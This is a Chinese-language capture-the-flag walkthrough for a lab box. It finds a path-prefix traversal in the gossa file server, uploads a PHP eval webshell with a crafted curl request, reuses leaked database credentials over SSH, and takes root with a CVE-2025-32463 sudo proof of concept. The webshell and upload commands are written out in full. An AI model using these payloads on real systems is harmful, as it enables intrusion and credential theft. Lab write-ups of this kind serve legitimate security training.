

Cuan

```
(kali㉿kali)-[~/Desktop]
└─$ nmap -p- 10.210.234.12
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-18 07:55 EDT
Nmap scan report for 10.210.234.12
Host is up (0.00085s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8001/tcp   open  vcom-tunnel
MAC Address: 08:00:27:C3:D7:43 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

80是游戏，8001是gossa 文件网络服务器。猜测可以通过8001上传webshell到80端口。对80端口进行目录扫描，发现/login.php和/info.php后台管理系统。测试存在admin用户，爆破了一下没有成功。

info.php泄露了路径为 /var/www/gossahtml

继续去看8001端口，猜测一下gossa的目录在 /var/www/gossa

拉取gossa源码交给ai分析，发现漏洞。注意到在gossa.go中

```
func enforcePath(p string) string {
    joined := filepath.Join(rootPath, strings.TrimPrefix(p, *extraPath))
    fp, err := filepath.Abs(joined)
    sl, _ := filepath.EvalSymlinks(fp)

    if err != nil ||
        !strings.HasPrefix(fp, rootPath) || // ① 字符串前缀校验
        *skipHidden && strings.Contains(p, "/.") || // ② 隐藏文件检查
        !*symlinks && len(sl) > 0 && !strings.HasPrefix(sl, rootPath) {
        panic(errors.New("invalid path"))
    }
    return fp
}
```

只进行了字符串的前缀校验，因此可以向任意名字前缀为gossa的目录下写文件，因此就可以往 /var/www/gossahtml 下写shell了。

```

└─(kali㉿kali)-[~/Desktop]
└─$ echo '<?php @eval($_POST["ant"]); ?>' > shell.php
└─(kali㉿kali)-[~/Desktop]
└─$ curl -v -X POST 'http://10.210.234.12:8001/post' \
    -H 'gossa-path: ..%2Fgossahtml%2Fshell.php' \
    -F 'f=@shell.php'
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.210.234.12:8001...
* Connected to 10.210.234.12 (10.210.234.12) port 8001
* using HTTP/1.x
> POST /post HTTP/1.1
> Host: 10.210.234.12:8001
> User-Agent: curl/8.13.0
> Accept: */*
> gossa-path: ..%2Fgossahtml%2Fshell.php
> Content-Length: 241
> Content-Type: multipart/form-data; boundary=-----9qC9IgP9TG8StxcfJ5u4Tq
>
* upload completely sent off: 241 bytes
< HTTP/1.1 200 OK
< Date: Tue, 18 Aug 2026 16:05:21 GMT
< Content-Length: 2
< Content-Type: text/plain; charset=utf-8
<
* Connection #0 to host 10.210.234.12 left intact
ok

```

成功拿到shell，在config.php中获取到凭据

```

<?php
// Site database configuration
$db_host = 'localhost';
$db_user = 'radiant';
$db_pass = 'QixXQ8jeJDzDv5lQ4rLi';
$db_name = 'maze';
?>

```

尝试ssh，ssh登录成功。拿到user.txt

```

radiant@Cuan:~$ cat user.txt
flag{user-48f400bedd9ca5e1700ebc4686890171}

```

之后进行提权，卡了很久，linpeas和pspy64没有发现什么内容。只发现了 /usr/local/bin/gossa -h 0.0.0.0 -p 8001 /var/www/gossa ，创建的文件也属于root，但是不知道如何利用。

之后进行了 dpkg -v 发现和sudo相关的都进行了修改。看sudo版本，是1.9.17。直接打CVE-2025-32463

```
radiant@Cuan:~$ chmod 777 poc.sh
radiant@Cuan:~$ ./poc.sh
woot!
root@Cuan:/# id
uid=0(root) gid=0(root) groups=0(root),1000(radiant)
root@Cuan:/# cat /root/root.txt
flag{root-75d03bec804f347367e5f2d7fa4cd9d3}
```

拿下root。